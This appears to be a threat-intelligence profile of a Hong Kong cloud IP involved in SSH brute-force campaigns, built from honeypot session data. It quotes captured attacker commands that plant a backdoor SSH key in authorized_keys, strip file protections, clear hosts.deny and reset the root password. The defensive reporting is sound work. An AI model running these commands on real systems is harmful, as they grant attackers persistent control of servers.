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Location
🇭🇰 HK
ASN
AS135377 · UCLOUD INFORMATION TECHNOLOGY HK LIMITED
Cloud Provider
—
Total Events
366
Top 10% by volume
Agent Count
2
First / Last Seen
2026-05-25 08:16 — 2026-06-03 02:16
Attack Types
MITRE ATT&CK Techniques
Initial Access
Defense Evasion
Command and Control
External Corroboration
Blocklist.de
blocklist_de:reported
Campaigns
HASSH f555226df196… — SSH-2.0-libssh_0.9.6 (1005 IPs, 87 countries)
HASSH
Active
high
🇨🇳 CN
1005 IPs
428883 events
http:scanssh:bruteforce
2026-02-25 — ongoing · 1005 IPs are running an identical SSH client (HASSH fingerprint f555226df196…). Top network: UCLOUD INFORMATION TECHNOLOGY HK LIMITED …
AS135377 UCLOUD INFORMATION TECHNOLOGY HK LIMITED
ASN
Active
medium
🇭🇰 HK
58 IPs
26534 events
ftp:bruteforcehttp:scanmysql:bruteforcessh:bruteforce
2026-02-18 — ongoing · 58 IPs from the same network (UCLOUD INFORMATION TECHNOLOGY HK LIMITED, AS135377) were active during overlapping time periods. …
Session Forensics
Sessions
41 (7 with login)
Avg Depth Score
0.29
Commands Executed
66
Files Downloaded
8
Notable Commands
- cd ~; chattr -ia .ssh; lockr -ia .ssh
- lockr -ia .ssh
- cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
- cat /proc/cpuinfo | grep name | wc -l
- echo "root:GLAKsoUyLPoA"|chpasswd|bash
- rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
- cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
- free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
- ls -lh $(which ls)
- which ls
- echo "root:bXz3FjvC1jvT"|chpasswd|bash
- echo "root:hT0C8PQeZ7PY"|chpasswd|bash
Fingerprints
HASSH
SSH Client
Evidence Timeline
Scanner
2f3850a10c17
15%
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SSH-2.0-libssh_0.9.6
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ac22b3b40967
15%
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SSH-2.0-libssh_0.9.6
Scanner
6a248871332c
15%
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SSH-2.0-libssh_0.9.6
Scanner
ca6583e731be
15%
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Scanner
569ecaa343ea
15%
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SSH-2.0-libssh_0.9.6
Scanner
58db6592a50e
15%
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SSH-2.0-libssh_0.9.6
Opportunistic Bruter
ed18b60a28c1
LOGIN
1
50%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
7c488f4cbf5a
LOGIN
3
1
1
100%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…
Scanner
179e5cb206a7
15%
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SSH-2.0-libssh_0.9.6
Malware Dropper
845097338d6e
LOGIN
20
2
1
100%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…$ cat /proc/cpuinfo | grep name | wc -l$ echo "root:GLAKsoUyLPoA"|chpasswd|bash
Scanner
194eb82f7461
15%
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SSH-2.0-libssh_0.9.6
Scanner
5a020c280006
15%
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SSH-2.0-libssh_0.9.6
Scanner
0ac5301bee20
15%
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SSH-2.0-libssh_0.9.6
Malware Dropper
cf50ce9a6d73
LOGIN
20
2
1
100%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…$ cat /proc/cpuinfo | grep name | wc -l$ echo "root:bXz3FjvC1jvT"|chpasswd|bash
Scanner
7cb4c37b92eb
15%
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SSH-2.0-libssh_0.9.6
Malware Dropper
8ea9636bb5d5
LOGIN
20
2
1
100%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…$ cat /proc/cpuinfo | grep name | wc -l$ echo "root:hT0C8PQeZ7PY"|chpasswd|bash
Opportunistic Bruter
ecc601ef9ed7
LOGIN
1
50%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
Malware Dropper
1a9c37eb44e3
LOGIN
3
1
1
100%
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HASSH f555226df1963d1…
SSH-2.0-libssh_0.9.6
$ cd ~; chattr -ia .ssh; lockr -ia .ssh$ lockr -ia .ssh$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3Nz…